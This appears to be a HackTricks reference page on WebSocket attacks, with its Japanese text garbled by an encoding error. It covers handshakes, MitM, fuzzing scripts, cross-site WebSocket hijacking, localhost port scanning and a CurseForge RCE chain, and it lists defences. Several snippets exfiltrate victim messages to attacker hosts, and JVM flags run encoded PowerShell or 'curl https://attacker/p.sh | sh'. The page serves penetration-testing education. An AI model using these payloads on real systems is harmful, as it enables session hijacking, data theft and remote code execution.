WebSocket æ»æ
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
WebSocketsãšã¯äœã
WebSocketæ¥ç¶ã¯æåã®HTTPãã³ãã·ã§ã€ã¯ãéããŠç¢ºç«ãããé·æéç¶æãããããã«èšèšãããŠããŸããããã«ããããã©ã³ã¶ã¯ã·ã§ã³åã®ã·ã¹ãã ãå¿ èŠãšããããã€ã§ãåæ¹åã®ã¡ãã»ãŒãžã³ã°ãå¯èœã«ãªããŸããããããã©ã€ãã®éèããŒã¿ã¹ããªãŒã ã®ããã«äœé å»¶ããµãŒããŒçºä¿¡ã®éä¿¡ãå¿ èŠãšããã¢ããªã±ãŒã·ã§ã³ã«ãããŠãWebSocketsãç¹ã«æå©ã§ããçç±ã§ãã
WebSocketæ¥ç¶ã®ç¢ºç«
WebSocketæ¥ç¶ã®ç¢ºç«ã«é¢ãã詳现ãªèª¬æã¯hereã§åç §ã§ããŸããèŠçŽãããšãWebSocketæ¥ç¶ã¯éåžžã¯ã©ã€ã¢ã³ãåŽã®JavaScriptãã以äžã®ããã«éå§ãããŸã:
var ws = new WebSocket("wss://normal-website.com/ws")
wss ãããã³ã«ã¯ TLS ã§ä¿è·ããã WebSocket æ¥ç¶ã瀺ããws 㯠ä¿è·ãããŠããªã æ¥ç¶ã瀺ããŸãã
æ¥ç¶ç¢ºç«æã«ã¯ããã©ãŠã¶ãšãµãŒããŒã®éã§ HTTP äžã§ãã³ãã·ã§ã€ã¯ãè¡ãããŸãããã³ãã·ã§ã€ã¯ã®ããã»ã¹ã¯ããã©ãŠã¶ããªã¯ãšã¹ããéãããµãŒããŒãå¿çãããšããæµãã§ã以äžã®äŸã«ç€ºãããŠããŸã:
ãã©ãŠã¶ããã³ãã·ã§ã€ã¯ãªã¯ãšã¹ããéä¿¡:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
ãµãŒãã®ãã³ãã·ã§ã€ã¯å¿ç:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
æ¥ç¶ã確ç«ããããšãäž¡æ¹åãžã®ã¡ãã»ãŒãžäº€æã®ããã«æ¥ç¶ã¯éãããŸãŸã«ãªããŸãã
WebSocketãã³ãã·ã§ã€ã¯ã®äž»ãªãã€ã³ã:
ConnectionãšUpgradeããããŒã¯ WebSocket ãã³ãã·ã§ã€ã¯ã®éå§ã瀺ããŸããSec-WebSocket-VersionããããŒã¯èŠæ±ããã WebSocket ãããã³ã«ã®ããŒãžã§ã³ã瀺ããŸãïŒéåžžã¯13ïŒãSec-WebSocket-KeyããããŒã«ã¯ Base64 ãšã³ã³ãŒããããã©ã³ãã å€ãéãããåãã³ãã·ã§ã€ã¯ãäžæã§ããããšãä¿èšŒããŸããããã¯ãã£ãã·ã¥ããããããã·ã«ããåé¡ãé²ãã®ã«åœ¹ç«ã¡ãŸãããã®å€ã¯èªèšŒã®ããã®ãã®ã§ã¯ãªããã¬ã¹ãã³ã¹ã誀èšå®ããããµãŒãããã£ãã·ã¥ã«ãã£ãŠçæããããã®ã§ã¯ãªãããšã確èªããããã®ãã®ã§ãã- ãµãŒãã®ã¬ã¹ãã³ã¹ã«å«ãŸãã
Sec-WebSocket-AcceptããããŒã¯Sec-WebSocket-Keyã®ããã·ã¥ã§ããããµãŒãã WebSocket æ¥ç¶ãéãæå³ãããããšãæ€èšŒããŸãã
ãããã®ä»çµã¿ã«ãããã³ãã·ã§ã€ã¯åŠçã¯å®å šãã€ä¿¡é Œã§ãããã®ã«ãªããå¹ççãªãªã¢ã«ã¿ã€ã éä¿¡ã®åºç€ãæŽããŸãã
Linux console
websocat ã䜿ããš websocket ã«å¯ŸããŠçã®æ¥ç¶ã確ç«ã§ããŸãã
websocat --insecure wss://10.10.10.10:8000 -v
ããã㯠websocat ãµãŒããŒãäœæããã«ã¯:
websocat -s 0.0.0.0:8000 #Listen in port 8000
MitM websocket æ¥ç¶
ããçŸåšã®ããŒã«ã«ãããã¯ãŒã¯ãã clients ã HTTP websocket ã«æ¥ç¶ããŠããã®ãèŠã€ããããARP Spoofing Attack ã詊ã㊠client ãš server ã®éã§ MitM attack ãå®è¡ããããšãã§ããŸãã
client ãæ¥ç¶ã詊ã¿ãŠãããšããæ¬¡ã®ãã®ã䜿çšã§ããŸã:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Websockets åæ
ãã®ããŒã« https://github.com/PalindromeLabs/STEWS ã䜿ããšãwebsockets ã®æ¢ç¥ã® vulnerabilities ãèªåçã«æ€åºããã£ã³ã¬ãŒããªã³ããæ€çŽ¢ã§ããŸãã
Websocket Debug tools
- Burp Suite ã¯éåžžã® HTTP éä¿¡ãšéåžžã«äŒŒãæ¹æ³ã§ Websocket ã® MitM éä¿¡ããµããŒãããŸãã
- The socketsleuth Burp Suite extension ã䜿ããšãBurp å ã§ Websocket éä¿¡ãããè¯ã管çã§ããhistory ã®ååŸãinterception rules ã®èšå®ãmatch and replace ã«ãŒã«ã®äœ¿çšãIntruder ãš AutoRepeater ã®å©çšãå¯èœã«ãªããŸãã
- WSSiP: ç¥ã㊠âWebSocket/Socket.io ProxyâãNode.js ã§æžããããã®ããŒã«ã¯ãã¯ã©ã€ã¢ã³ããšãµãŒãéã®ãã¹ãŠã® WebSocket ãš Socket.IO éä¿¡ã capture, intercept, send custom messages ãã衚瀺ããããã®ãŠãŒã¶ãŒã€ã³ã¿ãŒãã§ãŒã¹ãæäŸããŸãã
- wsrepl 㯠penetration testing åãã«èšèšããã interactive websocket REPL ã§ããincoming websocket messages and sending new ones ã芳å¯ã»éä¿¡ããããã®ã€ã³ã¿ãŒãã§ãŒã¹ãæäŸãããã®éä¿¡ã automating ããããã®äœ¿ãããããã¬ãŒã ã¯ãŒã¯ãåããŠããŸãã
- https://websocketking.com/ ã¯ãwebsockets ã䜿ã£ãŠä»ã®ãŠã§ããšéä¿¡ããããã® web to communicate ã§ãã
- https://hoppscotch.io/realtime/websocket ã¯ããã®ä»ã®éä¿¡/ãããã³ã«ãšåæ§ã«ãwebsockets ã䜿ã£ãŠä»ã®ãŠã§ããšéä¿¡ããããã® web to communicate ãæäŸããŸãã
Decrypting Websocket
Websocket Lab
In Burp-Suite-Extender-Montoya-Course you have a code to launch a web using websockets and in this post you can find an explanation.
Websocket Fuzzing
The burp extension Backslash Powered Scanner now allows to fuzz also WebSocket messages. You can read more infromation abou this here.
WebSocket Turbo Intruder (Burp extension)
PortSwiggerâs WebSocket Turbo Intruder brings Turbo Intruderâstyle Python scripting and highârate fuzzing to WebSockets. Install it from the BApp Store or from source. It includes two components:
- Turbo Intruder: highâvolume messaging to a single WS endpoint using custom engines.
- HTTP Middleware: exposes a local HTTP endpoint that forwards bodies as WS messages over a persistent connection, so any HTTPâbased scanner can probe WS backends.
Basic script pattern to fuzz a WS endpoint and filter relevant responses:
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(...) ã®ãããªãã³ã¬ãŒã¿ã䜿ããåäžã¡ãã»ãŒãžãè€æ°ã®ã¬ã¹ãã³ã¹ãåŒãèµ·ããå Žåã®ãã€ãºãäœæžããã
HTTPã®èåŸã§WSãããªããžãã (HTTP Middleware)
æ°žç¶çãªWSæ¥ç¶ãã©ããããHTTPããã£ãWSã¡ãã»ãŒãžãšããŠè»¢éããŠãHTTP scannersã«ããèªåãã¹ããå¯èœã«ãã:
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
ãã®åŸãHTTPãããŒã«ã«ã«éä¿¡ããŸã; body 㯠WS ã¡ãã»ãŒãžãšããŠè»¢éãããŸã:
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
ããã«ãããWS ããã¯ãšã³ããå¶åŸ¡ãã€ã€ããè峿·±ããã€ãã³ãïŒäŸ: SQLi errorsãauth bypassãcommand injection behaviorïŒããã£ã«ã¿ãªã³ã°ã§ããŸãã
Socket.IO handling (ãã³ãã·ã§ã€ã¯ãããŒãããŒããã€ãã³ã)
Socket.IO 㯠WS ã®äžã«ç¬èªã®ãã¬ãŒãã³ã°ã远å ããŸããå¿
é ã¯ãšãªãã©ã¡ãŒã¿ EIOïŒäŸ: EIO=4ïŒã§æ€åºããŠãã ãããPing (2) ãš Pong (3) ã§ã»ãã·ã§ã³ãç¶æããäŒè©±ã¯ "40" ã§éå§ããŠãã 42["message","hello"] ã®ããã«ã€ãã³ãã emit ããŸãã
Intruder ã®äŸ:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
HTTP ã¢ããã¿ã®ããªã¢ã³ã:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
server-side prototype pollution ã Socket.IO çµç±ã§æ€åº
PortSwiggerã®å®å šãªæ€åºææ³ã«åŸããæ¬¡ã®ãããªpayloadãéä¿¡ããŠExpressã®å éšãæ±æããŠã¿ãŠãã ãã:
{"__proto__":{"initialPacket":"Polluted"}}
If greetings or behavior change (e.g., echo includes âPollutedâ), you likely polluted server-side prototypes. Impact depends on reachable sinks; correlate with the gadgets in the Node.js prototype pollution section. See:
- sinks/gadgets ãš chaining ideas ã確èªããã«ã¯ NodeJS â proto & prototype Pollution ããã§ãã¯ããã
WebSocket race conditions with Turbo Intruder
ããã©ã«ãã®ãšã³ãžã³ã¯ 1 ã€ã®æ¥ç¶ã§ã¡ãã»ãŒãžããããåŠçããïŒã¹ã«ãŒãããã¯è¯ããã¬ãŒã¹ã«ã¯äžå©ïŒãTHREADED ãšã³ãžã³ã䜿çšããŠè€æ°ã® WS æ¥ç¶ãçæãããã€ããŒãã䞊åã«çºå°ããŠããžãã¯ã¬ãŒã¹ïŒdoubleâspendãtoken reuseãstate desyncïŒãåŒãèµ·ããããµã³ãã«ã¹ã¯ãªããããå§ããconfig() ã§äžŠè¡åºŠã調æŽããã
- Learn methodology and alternatives in Race Condition (see âRC in WebSocketsâ).
WebSocket DoS: malformed frame âPing of Deathâ
ãããã§å·šå€§ãªãã€ããŒãé·ã宣èšãããæ¬äœãéããªã WS ãã¬ãŒã ãäœæãããäžéšã® WS ãµãŒãã¯é·ããä¿¡é ŒããŠãããã¡ãäºåå²åœãããããInteger.MAX_VALUE ã«è¿ãå€ãèšå®ãããš OutâOfâMemory ãåŒãèµ·ããããªã¢ãŒãã®æªèªèšŒ DoS ãçºçãããå¯èœæ§ããããäŸã®ã¹ã¯ãªãããåç
§ã
CLI and debugging
- Headless fuzzing:
java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput> - WS Logger ãæå¹ã«ããŠå éš ID ã䜿ã£ãŠã¡ãã»ãŒãžããã£ããã£ïŒçžé¢ãããã
- è€éãªã¢ããã¿ã§ã¡ãã»ãŒãž ID ã®åŠçã調æŽããããã«
Connectionã®inc*/dec*ãã«ããŒã䜿çšããã @PingPong/@Pongã®ãããªãã³ã¬ãŒã¿ãisInteresting()ã®ãããªãã«ããŒã¯ãã€ãºãæžããã»ãã·ã§ã³ãç¶æããã
Operational safety
é«ã¬ãŒãã® WS fuzzing ã¯å€ãã®æ¥ç¶ãéãã1 ç§ãããæ°åã®ã¡ãã»ãŒãžãéä¿¡ããå¯èœæ§ããããMalformed ãã¬ãŒã ãé«ã¬ãŒãã¯å®éã® DoS ãåŒãèµ·ããå¯èœæ§ããããèš±å¯ãããç°å¢ã§ã®ã¿äœ¿çšããããšã
Cross-site WebSocket hijacking (CSWSH)
Cross-site WebSocket hijacking, éç§° cross-origin WebSocket hijacking, 㯠WebSocket ãã³ãã·ã§ã€ã¯ã«åœ±é¿ãã Cross-Site Request Forgery (CSRF) ã®ç¹å®ã®ã±ãŒã¹ãšããŠèªèãããããã®è匱æ§ã¯ WebSocket ãã³ãã·ã§ã€ã¯ã HTTP cookies ã®ã¿ã§èªèšŒããCSRF tokens ãåçã®ä¿è·çãååšããªãå Žåã«çºçããã
æ»æè ã¯è匱ãªã¢ããªã±ãŒã·ã§ã³ã«å¯ŸããŠã¯ãã¹ãµã€ãã® WebSocket æ¥ç¶ãéå§ãã malicious web page ããã¹ãããããšã§ãããæªçšã§ããããã®çµæããã®æ¥ç¶ã¯è¢«å®³è ã®ã¢ããªã±ãŒã·ã§ã³ã®ã»ãã·ã§ã³ã®äžéšãšããŠæ±ãããã»ãã·ã§ã³åŠçã«ããã CSRF ä¿è·ã®æ¬ åŠãçªãããšã«ãªãã
ãã®æ»æãæç«ããããã®èŠä»¶ã¯æ¬¡ã®éãïŒ
- websocket ã®èªèšŒã cookie based ã§ããããš
- cookie ãæ»æè
ã®ãµãŒãããã¢ã¯ã»ã¹å¯èœã§ããããšïŒéåžžããã¯
SameSite=Noneãæå³ãïŒãFirefox ã§ Firefox Total Cookie Protection ãæå¹ã§ãªãããšãChrome ã§ blocked third-party cookies ããããã¯ãããŠããªãããš - websocket ãµãŒããæ¥ç¶ã® Origin ããã§ãã¯ããªãããšïŒãŸãã¯ãããåé¿ã§ããããšïŒ
Also:
- èªèšŒãããŒã«ã«æ¥ç¶ïŒlocalhost ãŸãã¯ããŒã«ã«ãããã¯ãŒã¯ïŒã«åºã¥ãå ŽåãçŸåšã®ä¿è·ã§ã¯ãããçŠæ¢ããŠããªãããæ»æã¯ will be possible ãšãªãïŒè©³çŽ°ã¯ more info here ãåç §ïŒ
Origin check disabled in Gorilla WebSocket (CheckOrigin always true)
Gorilla WebSocket ãµãŒãã§ã¯ãCheckOrigin ãåžžã« return true ã«èšå®ãããšä»»æã® Origin ããã®ãã³ãã·ã§ã€ã¯ãåãå
¥ãããWS ãšã³ããã€ã³ãã èªèšŒããªã å Žåã被害è
ã®ãã©ãŠã¶ããå°éå¯èœãªä»»æã®ããŒãžïŒã€ã³ã¿ãŒããããŸãã¯ã€ã³ãã©ãããïŒã¯ãœã±ãããã¢ããã°ã¬ãŒãããŠã¯ãã¹ãµã€ãã§ã¡ãã»ãŒãžã®èªã¿åãïŒéä¿¡ãéå§ã§ããã
<script>
const ws = new WebSocket("ws://victim-host:8025/api/v1/websocket");
ws.onmessage = (ev) => fetch("https://attacker.tld/steal?d=" + encodeURIComponent(ev.data), {mode: "no-cors"});
</script>
圱é¿: ä»»æã® Origin ãåãå
¥ãããããšã³ããã€ã³ããèªèšŒãã¹ãããããå ŽåããŠãŒã¶ãŒã®èªèšŒæ
å ±ãªãã§ã¹ããªãŒã ãããããŒã¿ïŒäŸ: ååŸãããã¡ãŒã«/éç¥ïŒã® real-time exfiltration ãå¯èœã«ãªãã
ç°¡åãªæ»æ
泚æïŒç¢ºç«ãã ãšãã« websocket æ¥ç¶ã§ã¯ cookie ã éä¿¡ãããŸã ïŒãµãŒããŒãžïŒã
ãã® server ã¯ãéä¿¡ããã cookie ã«åºã¥ããŠå specific 㪠user ã圌㮠websocket éä¿¡ããã cookie ã«åºã¥ã session ãš relate ããŠããå¯èœæ§ããããŸãã
ãããäŸãã° ãŠãŒã¶ãŒã« msg ãšã㊠âREADYâ ãéããããšãã« websocket server ããã®ãŠãŒã¶ãŒã® äŒè©±ã®å±¥æŽãè¿ã 仿§ã§ããã°ãæ¥ç¶ã確ç«ãã simple XSSïŒè¢«å®³ãŠãŒã¶ãŒãèªå¯ããããã« cookie ã èªåçã« éä¿¡ãããïŒã«ãã éä¿¡ãã âREADYâ ãè¡ãããšã§ããã® äŒè©± ã®å±¥æŽã ååŸ ã§ããŠããŸããŸã.:
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Cross Origin + Cookie ãå¥ã®ãµããã¡ã€ã³ã§
In this blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ ã§ã¯ãæ»æè ãéä¿¡ãè¡ãããŠãããã¡ã€ã³ã®ãµããã¡ã€ã³å ã§ãµããã¡ã€ã³ã§ä»»æã® Javascript ãå®è¡ããããšã«æåããŸããããµããã¡ã€ã³ã ã£ããããcookieã¯éä¿¡ãããŠãããããã«Websocket ã Origin ãæ£ãããã§ãã¯ããŠããªãã£ããããéä¿¡ãå¯èœã«ãªãããããã tokens ãçãããšãã§ããŸããã
ãŠãŒã¶ãŒããããŒã¿ãçã
ãªãããŸãããããŠã§ãã¢ããªã±ãŒã·ã§ã³ïŒäŸãã° .html ãã¡ã€ã«ïŒãã³ããŒããwebsocket éä¿¡ãè¡ãããŠããã¹ã¯ãªããå ã«æ¬¡ã®ã³ãŒãã远å ããŸã:
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
ãŸããwsHook.jsãã¡ã€ã«ãhttps://github.com/skepticfx/wshookããããŠã³ããŒãããweb ãã¡ã€ã«ã®ãããã©ã«ãå
ã«ä¿åããŠãã ãã.
Webã¢ããªã±ãŒã·ã§ã³ãå
¬éããŠãŠãŒã¶ãŒãæ¥ç¶ããããšãwebsocketãä»ããŠéåä¿¡ãããã¡ãã»ãŒãžãçãããšãã§ããŸã:
sudo python3 -m http.server 80
CSWSH 察ç
CSWSHæ»æã¯ããŠãŒã¶ãŒãæªæããããŒãžã«æ¥ç¶ãããã®ããŒãžãwebsocketæ¥ç¶ãéããŠãŠãŒã¶ãŒãæ¢ã«æ¥ç¶ããŠããWebããŒãžãžãªã¯ãšã¹ããéãããªã¯ãšã¹ãããŠãŒã¶ãŒã®cookiesãéä¿¡ããããšã§æ»æè ãšããŠèªèšŒãããŠããŸãããšããäºå®ã«åºã¥ããŸãã
çŸåšãããã¯éåžžã«ç°¡åã«é²ããŸã:
- Websocket server checking the origin: websocketãµãŒããŒã¯åžžã«ã©ãããæ¥ç¶ããŠããã(origin)ããã§ãã¯ããäºæããªãããŒãžããã®æ¥ç¶ãé²ãã¹ãã§ãã
- Authentication token: èªèšŒãcookieã«åºã¥ããã代ããã«ãæ»æè ãç¥ããªããµãŒããŒçæã®ããŒã¯ã³ïŒäŸ: anti-CSRF tokenïŒãçšããŠwebsocketæ¥ç¶ãèªèšŒããããšãã§ããŸãã
- SameSite Cookie attribute:
SameSiteãLaxãŸãã¯Strictã«èšå®ãããCookiesã¯å€éšã®æ»æè ããŒãžãã被害è ãµãŒããŒãžéä¿¡ãããªããããcookieããŒã¹ã®èªèšŒã¯æåããŸããããªããChromeã¯ãã®ãã©ã°ãæå®ãããŠããªãCookieã«å¯ŸããŠããã©ã«ãã§Laxãèšå®ããããã«ãªããããã©ã«ãã§ããå®å šã«ãªã£ãŠããŸãããã ããCookieäœæåŸæåã®2åéã¯å€ãNoneã«ãªãããããã®çæéã¯è匱ã«ãªããŸãïŒå°æ¥çã«ãã®æåã倿ŽãããèŠèŸŒã¿ããããŸãïŒã - Firefox Total Cookie Protection: Total Cookie Protectionã¯Cookieãäœæããããµã€ãããšã«åé¢ããããšã§åäœããŸããåºæ¬çã«åãµã€ããç¬èªã®Cookieã¹ãã¬ãŒãžããŒãã£ã·ã§ã³ãæã¡ããµãŒãããŒãã£ããŠãŒã¶ãŒã®é²èЧ履æŽãçµã³ä»ããã®ãé²ããŸããããã«ãããæ»æè ãµã€ãã¯cookiesã«ã¢ã¯ã»ã¹ã§ããªããªããCSWSHãå©çšäžèœã«ãªããŸãã
- Chrome third-party cookies block: ããã«ããã
SameSite=Noneã®å Žåã§ãèªèšŒæžã¿ãŠãŒã¶ãŒã®cookieãwebsocketãµãŒããŒãžéä¿¡ãããã®ãé²ããå¯èœæ§ããããŸãã
Localhost WebSocketã®æªçšãšãã©ãŠã¶ã«ããããŒãæ¢çŽ¢
Desktop launchersã¯ãã°ãã°ãã«ããŒïŒäŸ: CurseForgeã® CurseAgent.exeïŒãèµ·åãã127.0.0.1:<random_port> ã§JSON-RPC WebSocketsãå
¬éããŸãããã©ãŠã¶ã¯ã«ãŒãããã¯ãœã±ããã«å¯Ÿã㊠SOPã匷å¶ããªã ãããä»»æã®WebããŒãžããã³ãã·ã§ã€ã¯ã詊ã¿ãããšãã§ããŸãããšãŒãžã§ã³ããä»»æã® Origin å€ãåãå
¥ãäºæ¬¡èªèšŒãçç¥ããå ŽåãIPCã€ã³ã¿ãŒãã§ãŒã¹ã¯JavaScriptããçŽæ¥é éå¶åŸ¡å¯èœã«ãªããŸãã
å ¬éãããŠããã¡ãœããã®åæ
ãããã³ã«ã®å¥çŽãåŠã¶ããã«æ£èŠã®ã»ãã·ã§ã³ããã£ããã£ããŸããäŸãã°CurseForge㯠{"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]} ã®ãããªãã¬ãŒã ãéåºããããã§ name ãRPCã¡ãœãããargs ãGUIDãè§£å床ããã©ã°ãªã©ã®æ§é åãªããžã§ã¯ããå«ã¿ãŸãã圢ããããã°ã泚å
¥ããããŒãžããçŽæ¥ createModpackãminecraftGetDefaultLocation ãªã©ã®æš©éã®ããã¿ã¹ã¯ãåŒã³åºããŸãã
ãã©ãŠã¶ããŒã¹ã®ããŒãæ¢çŽ¢
ãã«ããŒãã©ã³ãã ãªé«äœããŒãã«ãã€ã³ãããããããšã¯ã¹ããã€ãã¯ãŸãWebSocketsçµç±ã§localhostããã«ãŒããã©ãŒã¹ããŸããChromiumç³»ãã©ãŠã¶ã¯ã¹ããããªã³ã°åã«çŽ16kã®å€±æããã¢ããã°ã¬ãŒãã蚱容ããããããšãã§ã¡ã©ã«ããŒãç¯å²ãèµ°æ»ããã®ã«ååã§ããFirefoxã¯æ°çŸåã®å€±æã§ã¯ã©ãã·ã¥ãããªãŒãºããã¡ãªã®ã§ãå®çšçãªPoCsã¯ãã°ãã°Chromiumãã¿ãŒã²ããã«ããŸãã
ç°¡æãã©ãŠã¶ã¹ãã£ããŒ
```javascript async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found candidate on ${port}`); ws.close(); finish(); }; }); } } ```æ¥ç¶ãhandshakeãééããŠãããã³ã«åºæã®ããŒã¿ãè¿ãããããã®socketãRPCãã§ãŒã³ã«åå©çšããã
JSON-RPCã¡ãœãããé£éããŠRCEãž
The CurseForge exploitã¯èªèšŒäžèŠã®2ã€ã®åŒã³åºããé£éããã:
createModpackâ ãŠãŒã¶ãŒæäœãªãã§æ°ããMinecraftInstanceGuidãè¿ããminecraftTaskLaunchInstanceâ ãã®GUIDãèµ·åããAdditionalJavaArgumentsçµç±ã§ä»»æã®JVMãã©ã°ãåãä»ããã
JNI/JVMã®èšºæãªãã·ã§ã³ã¯å³å©çšå¯èœãªRCEããªããã£ããæäŸãããäŸãã°ãmetaspaceãå¶éããŠcrashã匷å¶ããerror hookãå©çšããŠcommand executionãè¡ãïŒ
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."
Unixã®ã¿ãŒã²ããã§ã¯ãã€ããŒãã /bin/sh -c 'curl https://attacker/p.sh | sh' ã«å·®ãæ¿ããã ãã§ãããã¢ããªã±ãŒã·ã§ã³ã³ãŒãã«è§Šããããªãå Žåã§ããJVM CLI ãå¶åŸ¡ã§ããã°åäœããã
ãã® âcreate resource â privileged launchâ ãã¿ãŒã³ã¯ã¢ããããŒã¿ãŒãã©ã³ãã£ãŒã§ããèŠããããã¡ãœãã(1)ããµãŒããŒã§ç®¡çãããèå¥åãè¿ããã¡ãœãã(2)ããã®èå¥åã䜿ã£ãŠã³ãŒããå®è¡ãããããã»ã¹ãèµ·åãããããå Žåã¯ããŠãŒã¶ãŒå¶åŸ¡ã®åŒæ°ãæ³šå ¥ã§ããªãã確èªããããšã
ã¬ãŒã¹ã³ã³ãã£ã·ã§ã³
WebSocketsã«ãããã¬ãŒã¹ã³ã³ãã£ã·ã§ã³ãååšããŸãã詳ããã¯ãã¡ããåç §ããŠãã ããã
ãã®ä»ã®è匱æ§
As Web Sockets are a mechanism to ãµãŒããŒåŽãšã¯ã©ã€ã¢ã³ãåŽãžããŒã¿ãéãä»çµã¿ã§ããããããµãŒããŒãã¯ã©ã€ã¢ã³ãããã®æ å ±ãã©ã®ããã«æ±ããã«ãã£ãŠãWeb Socketsçµç±ã®ãŠãŒã¶ãŒå ¥åã䜿çšããŠXSSãSQLiããã®ä»ã®äžè¬çãªwebè匱æ§ãæªçšã§ããå Žåãããã
WebSocket Smuggling
ãã®è匱æ§ã¯ããªããŒã¹ãããã·ã®å¶éãåé¿ãããããšã§ïŒå®éã«ã¯ããã§ãªããŠãïŒwebsocketéä¿¡ã確ç«ããããšä¿¡ã蟌ãŸããããšãå¯èœã«ããå Žåããããããã«ããæ»æè ãé ããããšã³ããã€ã³ãã«ã¢ã¯ã»ã¹ã§ããå¯èœæ§ãããã詳现ã¯ä»¥äžã®ããŒãžãåç §ïŒ
åè
- https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
- https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocket Turbo Intruder â BApp Store
- WebSocketTurboIntruder â GitHub
- Turbo Intruder background
- Server-side prototype pollution â safe detection methods
- WS RaceCondition PoC (Java)
- RaceConditionExample.py
- PingOfDeathExample.py
- When WebSockets Lead to RCE in CurseForge
- Two CVEs, Zero Ego: A Mailpit Story
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


